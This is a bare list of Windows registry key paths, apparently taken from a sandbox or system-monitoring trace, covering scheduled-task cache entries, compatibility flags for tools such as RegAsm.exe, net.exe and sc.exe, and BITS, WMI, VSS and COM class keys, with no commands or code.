HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update\Index HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\{a7a85eba-a2d1-41ec-a656-ba2c9221e354} HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\net.exe HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\net1.exe HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\Parameters\ServiceDllUnloadOnStop HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\CIMOM HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart HKEY_LOCAL_MACHINE\Software\Classes HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0000000C-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0000000C-0000-0000-C000-000000000046}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0000000C-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PreviousServiceShutdown HKEY_LOCAL_MACHINE\system\Setup HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ProcessID HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\winmgmt HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\Parameters\ServiceDllUnloadOnStop HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\sc.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{94AA3293-B515-4FA7-A36B-3CFA64BA5BE3} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{94AA3293-B515-4FA7-A36B-3CFA64BA5BE3}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{94AA3293-B515-4FA7-A36B-3CFA64BA5BE3}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{513494DA-44B6-4567-B247-8E8A881C4619} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{513494DA-44B6-4567-B247-8E8A881C4619}\data HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{92BDB7E4-F28B-46A0-B551-45A52BDD5125} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures\Adobe Flash Player Updater.job HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures\Adobe Flash Player Updater.job.fp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WDI\ResolutionHost HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WDI\ResolutionHost\Id HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\wpdshext.dll HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\shdocvw.dll HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\DynamicInfo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceDll HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceManifest HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceMain HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileMinMemory HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BITS\Performance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Counter HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Help HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Counter HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Help HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\PerfMMFileName HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\BackupRestore\FilesNotToBackup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_metadata HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobInactivityTimeout HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TimeQuantaLength HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobNoProgressTimeout HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobMinimumRetryDelay HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TransferBufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackBegin HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackEnd HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackDuration HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TestFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\ForceFileFlush HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\UseLmCompat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\IGDSearcherDLL HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2085F28-FEB7-404A-B8E7-E659BDEAAA02} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2085F28-FEB7-404A-B8E7-E659BDEAAA02}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS\Throttling HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileChunk HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileWriteBuffer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToBackup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_LOG HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_BAK HKEY_LOCAL_MACHINE\SYSTEM\Setup HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Safeboot\Option HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Settings HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\BITS Writer HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4991D34B-80A1-4291-83B6-3328366B9097}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\InprocHandler HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\wlrmdr.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\SecurityService HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\SecurityService\DefaultAuthLevel HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regasm.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\34d0e38e\92478f HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a 